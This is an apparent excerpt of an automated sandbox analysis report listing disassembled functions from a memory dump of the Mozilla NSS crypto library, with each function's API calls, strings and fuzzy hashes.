Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CriticalEnterFromK11_MakeSectionUnlockValue
String ID: NSS_USE_DECODED_CKA_EC_POINT
API String ID: 2280678669-837408685
Opcode ID: 128e97c58f58696011d817385307921c30b1a51baae57dc4d940ea3833213aff
Instruction ID: 5ff04efd744e9dbf5a9293564738ac5f5bdd8e9979b8b238452029bc120f63c9
Opcode Fuzzy Hash: 128e97c58f58696011d817385307921c30b1a51baae57dc4d940ea3833213aff
Instruction Fuzzy Hash: 57F115B5A002158FEB54CF19C884B86BBF4FF09304F5582AADD089B346E774EA95CF91

Function 6CB8DC60 Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6CB8DD56
memcpy.VCRUNTIME140(0000FFFE,?,?), ref: 6CB8DD7C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CB8DE67
memcpy.VCRUNTIME140(0000FFFC,?,?), ref: 6CB8DEC4
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB8DECD

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB8DF6D, 6CB8DFCC, 6CB8DFDD
%s at line %d of [%.10s], xrefs: 6CB8DF7C, 6CB8DFEC
database corruption, xrefs: 6CB8DF77, 6CB8DFE7

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: memcpy$_byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2339628231-598938438
Opcode ID: bc314fa8a493316300430716127ddd6a6f7cc2809c5dd22e36e6e6a6d241ae94
Instruction ID: cbb3bff0f3f0998939ecffaf53bb0c77ada617a0dd979c3023c431dec8b2891a
Opcode Fuzzy Hash: bc314fa8a493316300430716127ddd6a6f7cc2809c5dd22e36e6e6a6d241ae94
Instruction Fuzzy Hash: A1A1F6716052929FD710DF29D880A6AB7F5EF85308F15892FF8898BF51D730E845CBA2

Function 6CC4EDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6CC4EE0B

Part of subcall function 6CC60BE0: malloc.MOZGLUE(6CC58D2D,?,00000000,?), ref: 6CC60BF8
Part of subcall function 6CC60BE0: TlsGetValue.KERNEL32(6CC58D2D,?,00000000,?), ref: 6CC60C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC4EEE1

Part of subcall function 6CC41D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6CC41D7E
Part of subcall function 6CC41D50: EnterCriticalSection.KERNEL32(?), ref: 6CC41D8E
Part of subcall function 6CC41D50: PR_Unlock.NSS3(?), ref: 6CC41DD3

TlsGetValue.KERNEL32 ref: 6CC4EE51
EnterCriticalSection.KERNEL32(?), ref: 6CC4EE65
PR_Unlock.NSS3(?), ref: 6CC4EEA2
free.MOZGLUE(?), ref: 6CC4EEBB
PR_SetError.NSS3(00000000,00000000), ref: 6CC4EED0
PR_Unlock.NSS3(?), ref: 6CC4EF48
free.MOZGLUE(?), ref: 6CC4EF68
PR_SetError.NSS3(00000000,00000000), ref: 6CC4EF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6CC4EFA4
free.MOZGLUE(?), ref: 6CC4EFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CC4F055
free.MOZGLUE(?), ref: 6CC4F060

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: 4a7144095c2b0d5a9efac91939682367c0adda1bfdaafc072274d69668efed7c
Instruction ID: 6e31f091483f65f171cd67aa646960dfe2f61025a35faf113506b72b5b61b122
Opcode Fuzzy Hash: 4a7144095c2b0d5a9efac91939682367c0adda1bfdaafc072274d69668efed7c
Instruction Fuzzy Hash: 3B816375A00209AFEB00DFA5DC45FDEBBB9BF49318F558028E909A3611F731D924CBA1

Function 6CC14CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6CC14D80
PORT_Alloc_Util.NSS3(00000000), ref: 6CC14D95
PORT_NewArena_Util.NSS3(00000800), ref: 6CC14DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC14E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6CC14E43
PORT_NewArena_Util.NSS3(00000800), ref: 6CC14E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6CC14E85
DER_Encode_Util.NSS3(?,?,6CD605A4,00000000), ref: 6CC14EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6CC14F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6CC14F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CC14F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CC14F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CC14F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CC14FC8

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: 71b8fcd9ad6912da0045283b13e20e60d397508c2229830b6fab83e4e5d2d075
Instruction ID: d316b7543ec6d6fb2062cf9248feee7fca355ff0ec8f6ce8cb2231c8885c9b70
Opcode Fuzzy Hash: 71b8fcd9ad6912da0045283b13e20e60d397508c2229830b6fab83e4e5d2d075
Instruction Fuzzy Hash: 43818E71908301AFE701CF2AD880B5AB7E8AF8575CF148929F958DBB41F731E905CB92

Function 6CC55C10 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 221COMMON

Download Yara Rule

APIs

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?), ref: 6CC55C9B
PR_SetError.NSS3(FFFFE043,00000000,?,?,?,?,?), ref: 6CC55CF4
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?), ref: 6CC55CFD
PR_smprintf.NSS3(tokens=[0x%x=<%s>],00000004,00000000,?,?,?,?,?,?), ref: 6CC55D42
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?), ref: 6CC55D4E
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC55D78
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6CC55E18
TlsGetValue.KERNEL32 ref: 6CC55E5E
EnterCriticalSection.KERNEL32(?), ref: 6CC55E72
PR_Unlock.NSS3(?), ref: 6CC55E8B

Part of subcall function 6CC4F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CC4F854
Part of subcall function 6CC4F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CC4F868
Part of subcall function 6CC4F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CC4F882
Part of subcall function 6CC4F820: free.MOZGLUE(04C483FF,?,?), ref: 6CC4F889
Part of subcall function 6CC4F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CC4F8A4
Part of subcall function 6CC4F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CC4F8AB
Part of subcall function 6CC4F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CC4F8C9
Part of subcall function 6CC4F820: free.MOZGLUE(280F10EC,?,?), ref: 6CC4F8D0

Strings

tokens=[0x%x=<%s>], xrefs: 6CC55D3D
d, xrefs: 6CC55C36

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$DestroyErrorModule$EnterR_smprintfUnlockValue
String ID: d$tokens=[0x%x=<%s>]
API String ID: 2028831712-1373489631
Opcode ID: 929def61d40af368adef010ef0da8e35099963c52a5a5885b844830165465b79
Instruction ID: be3bca0a2565cb0dac138b9a3b7f4e2eb0de172b6590383919264b8b15d566d8
Opcode Fuzzy Hash: 929def61d40af368adef010ef0da8e35099963c52a5a5885b844830165465b79
Instruction Fuzzy Hash: 6B71F2F1F041019BEB019F25DC45B6A3279BF4531CF944035E80A9AB42FB76E935CBAA

Function 6CC91D10 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 192memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC91D6B
PK11_FreeSymKey.NSS3(00000000), ref: 6CC91D75
PORT_ZAlloc_Util.NSS3(00000028), ref: 6CC91DC4
memcpy.VCRUNTIME140(?,?,?), ref: 6CC91DFC
PK11_CreateContextBySymKey.NSS3(00000000,82000104,?,?), ref: 6CC91EB1
PK11_CreateContextBySymKey.NSS3(00000000,82000105,?,?), ref: 6CC91ECE
PK11_FreeSymKey.NSS3 ref: 6CC91EE0
PK11_FreeSymKey.NSS3(00000000), ref: 6CC91EF9
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CC91F0A
PK11_DestroyContext.NSS3(?,00000001), ref: 6CC91F1C
free.MOZGLUE(00000000), ref: 6CC91F25

Strings

iv, xrefs: 6CC91E04

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: K11_$Context$Free$CreateDestroy$Alloc_ErrorUtilfreememcpy
String ID: iv
API String ID: 3943584448-1283462680
Opcode ID: 02295d3cee8970f63ec0cd5d8404f378362c2fb1eb2073a35c2614ba9b765593
Instruction ID: 3aeeeb2140d0831c5be9dcf71fb640f8a8c6635e61402c32b303f061f3985338
Opcode Fuzzy Hash: 02295d3cee8970f63ec0cd5d8404f378362c2fb1eb2073a35c2614ba9b765593
Instruction Fuzzy Hash: 296191B2604201ABE715DF19DC81AABB7E8EF88308F04456DF99897751F730E954CBA2

Function 6CC48F40 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6CC49582), ref: 6CC48F5B

Part of subcall function 6CC5BE30: SECOID_FindOID_Util.NSS3(6CC1311B,00000000,?,6CC1311B,?), ref: 6CC5BE44

PORT_NewArena_Util.NSS3(00000800), ref: 6CC48F6A

Part of subcall function 6CC60FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CC087ED,00000800,6CBFEF74,00000000), ref: 6CC61000
Part of subcall function 6CC60FF0: PR_NewLock.NSS3(?,00000800,6CBFEF74,00000000), ref: 6CC61016
Part of subcall function 6CC60FF0: PL_InitArenaPool.NSS3(00000000,security,6CC087ED,00000008,?,00000800,6CBFEF74,00000000), ref: 6CC6102B

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CC48FC3
PK11_GetIVLength.NSS3(-00000001), ref: 6CC48FE0
SEC_ASN1DecodeItem_Util.NSS3(?,?,6CD2D820,6CC49576), ref: 6CC48FF9
DER_GetInteger_Util.NSS3(?), ref: 6CC4901D
PORT_ZAlloc_Util.NSS3(?), ref: 6CC4903E
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CC49062
memcpy.VCRUNTIME140(00000024,?,?), ref: 6CC490A2
PORT_ZAlloc_Util.NSS3(?), ref: 6CC490CA
memcpy.VCRUNTIME140(00000018,?,?), ref: 6CC490F0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CC4912D
free.MOZGLUE(00000000), ref: 6CC49136
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CC49145

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Util$Tag_$AlgorithmAlloc_Arena_Findmemcpy$ArenaDecodeErrorFreeInitInteger_Item_K11_LengthLockPoolcallocfree
String ID:
API String ID: 3626836424-0
Opcode ID: 129a3566bf22c9da3bcf4f3782948a1ad1bd5a214963f465d2df9eee951956a6
Instruction ID: 61441e48d097ee44bbf4577e7b96e7c931ed3b31829fbdbf9b262ff5d479e034
Opcode Fuzzy Hash: 129a3566bf22c9da3bcf4f3782948a1ad1bd5a214963f465d2df9eee951956a6
Instruction Fuzzy Hash: FD51E1B1A042109BEB00CF29DD81B9BB7E8AF88318F058529ED59D7741F735E949CBD2

Function 6CCABE60 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 105COMMON

Download Yara Rule

APIs

PK11_CreateDigestContext.NSS3(00000000,?,?,6CCAB608,?,?), ref: 6CCABE93
PK11_DigestBegin.NSS3(00000000,?,?,?,6CCAB608,?,?), ref: 6CCABEA6
PK11_DigestOp.NSS3(00000000, TLS, server delegated credentials,00000040,?,?,?,?,6CCAB608,?,?), ref: 6CCABEBF
PK11_DigestOp.NSS3(00000000,TLS, server delegated credentials,00000022,?,?,?,?,?,?,?,6CCAB608,?,?), ref: 6CCABED3
PK11_DigestOp.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CCAB608,?,?), ref: 6CCABEE8
PK11_DigestOp.NSS3(00000000,6CCAB608,E82674C0), ref: 6CCABF00
PK11_DigestFinal.NSS3(00000000,?,?,00000040), ref: 6CCABF1E
PR_SetError.NSS3(FFFFD04A,00000000), ref: 6CCABF31
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CCABF3C
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,6CCAB608,?,?), ref: 6CCABF4A

Part of subcall function 6CCAC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCAC2BF

PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CCABF5F

Part of subcall function 6CC2CD80: free.MOZGLUE(?,6CC2D079,00000000,00000001), ref: 6CC2CDA5
Part of subcall function 6CC2CD80: PK11_FreeSymKey.NSS3(?,6CC2D079,00000000,00000001), ref: 6CC2CDB6
Part of subcall function 6CC2CD80: SECITEM_ZfreeItem_Util.NSS3(?,00000001,6CC2D079,00000000,00000001), ref: 6CC2CDCF
Part of subcall function 6CC2CD80: DeleteCriticalSection.KERNEL32(?,6CC2D079,00000000,00000001), ref: 6CC2CDE2
Part of subcall function 6CC2CD80: free.MOZGLUE(?), ref: 6CC2CDE9

Strings

TLS, server delegated credentials, xrefs: 6CCABEB9

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: K11_$Digest$Context$DestroyErrorfree$BeginCreateCriticalDeleteFinalFreeItem_SectionUtilValueZfree
String ID: TLS, server delegated credentials
API String ID: 1755135231-682335576
Opcode ID: 67b77e3b9c92854a1bfa6a819b3d38123cbb9e2b3d2fce03d06d3ba3f19333c4
Instruction ID: 674266bf9b69153df8c8d04e48a36ebab2df42b5fc32e42654c98f420e340a5c
Opcode Fuzzy Hash: 67b77e3b9c92854a1bfa6a819b3d38123cbb9e2b3d2fce03d06d3ba3f19333c4
Instruction Fuzzy Hash: 28313AB5E001196FEB10ABE49C85FBF77A8DF58708F140039FA08A7701F725A90987E2

Function 6CBFAF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CBFAF47

Part of subcall function 6CCC9090: TlsGetValue.KERNEL32 ref: 6CCC90AB
Part of subcall function 6CCC9090: TlsGetValue.KERNEL32 ref: 6CCC90C9
Part of subcall function 6CCC9090: EnterCriticalSection.KERNEL32 ref: 6CCC90E5
Part of subcall function 6CCC9090: TlsGetValue.KERNEL32 ref: 6CCC9116
Part of subcall function 6CCC9090: LeaveCriticalSection.KERNEL32 ref: 6CCC913F

FreeLibrary.KERNEL32(?), ref: 6CBFAF6D
free.MOZGLUE(?), ref: 6CBFAFA4
free.MOZGLUE(?), ref: 6CBFAFAA
PR_ExitMonitor.NSS3 ref: 6CBFAFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6CBFAFF5
PR_ExitMonitor.NSS3 ref: 6CBFB005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CBFB014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6CBFB028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CBFB03C

Strings

Unloaded library %s, xrefs: 6CBFB023
%s decr => %d, xrefs: 6CBFAFF0

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: 3017f90a95355941d3b4430b37555f82a9103c8838920c3134d0acf685c734e9
Instruction ID: 47341f5db5cc010314636639b40584afcb0a0a509be1bc01f29a6d0426f7bbbc
Opcode Fuzzy Hash: 3017f90a95355941d3b4430b37555f82a9103c8838920c3134d0acf685c734e9
Instruction Fuzzy Hash: 9531D4B5B04151ABFF05AF65DC44A55B779EB0535CB184125E825CAB00F322E82ECBF2

Function 6CC46C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CC4781D,00000000,6CC3BE2C,?,6CC46B1D,?,?,?,?,00000000,00000000,6CC4781D), ref: 6CC46C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CC4781D,?,6CC3BE2C,?), ref: 6CC46C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CC4781D), ref: 6CC46C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CC46C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CC46C96

Part of subcall function 6CBF1240: TlsGetValue.KERNEL32(00000040,?,6CBF116C,NSPR_LOG_MODULES), ref: 6CBF1267
Part of subcall function 6CBF1240: EnterCriticalSection.KERNEL32(?,?,?,6CBF116C,NSPR_LOG_MODULES), ref: 6CBF127C
Part of subcall function 6CBF1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CBF116C,NSPR_LOG_MODULES), ref: 6CBF1291
Part of subcall function 6CBF1240: PR_Unlock.NSS3(?,?,?,?,6CBF116C,NSPR_LOG_MODULES), ref: 6CBF12A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CC46CAA

Strings

dbm:, xrefs: 6CC46C3A
extern:, xrefs: 6CC46C7E
dbm, xrefs: 6CC46CA4
NSS_DEFAULT_DB_TYPE, xrefs: 6CC46C91
sql:, xrefs: 6CC46C52
rdb:, xrefs: 6CC46C69

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: 52cfedd5dfd3a18e9b4b1fc823f231cc789b6e9f93f0f4c08fd751fb680b5e1b
Instruction ID: 9bacb64ceab4fde59c57ec7ece736c46905b178c1ddca0db50fa38b655b5378a
Opcode Fuzzy Hash: 52cfedd5dfd3a18e9b4b1fc823f231cc789b6e9f93f0f4c08fd751fb680b5e1b
Instruction Fuzzy Hash: 1001A2E1B0271137F61037796C4AF66395D9F8155DF548432FF08E0A85FA92E518C1B5

Function 6CC54E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6CC178F8), ref: 6CC54E6D

Part of subcall function 6CBF09E0: TlsGetValue.KERNEL32(00000000,?,?,?,6CBF06A2,00000000,?), ref: 6CBF09F8
Part of subcall function 6CBF09E0: malloc.MOZGLUE(0000001F), ref: 6CBF0A18
Part of subcall function 6CBF09E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6CBF0A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6CC178F8), ref: 6CC54ED9

Part of subcall function 6CC45920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6CC47703,?,00000000,00000000), ref: 6CC45942
Part of subcall function 6CC45920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CC47703), ref: 6CC45954
Part of subcall function 6CC45920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CC4596A
Part of subcall function 6CC45920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CC45984
Part of subcall function 6CC45920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6CC45999
Part of subcall function 6CC45920: free.MOZGLUE(00000000), ref: 6CC459BA
Part of subcall function 6CC45920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6CC459D3
Part of subcall function 6CC45920: free.MOZGLUE(00000000), ref: 6CC459F5
Part of subcall function 6CC45920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6CC45A0A
Part of subcall function 6CC45920: free.MOZGLUE(00000000), ref: 6CC45A2E
Part of subcall function 6CC45920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6CC45A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6CC178F8), ref: 6CC54EB3

Part of subcall function 6CC54820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CC54EB8,?,?,?,?,?,?,?,?,?,?,6CC178F8), ref: 6CC5484C
Part of subcall function 6CC54820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CC54EB8,?,?,?,?,?,?,?,?,?,?,6CC178F8), ref: 6CC5486D
Part of subcall function 6CC54820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6CC54EB8,?), ref: 6CC54884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6CC178F8), ref: 6CC54EC0

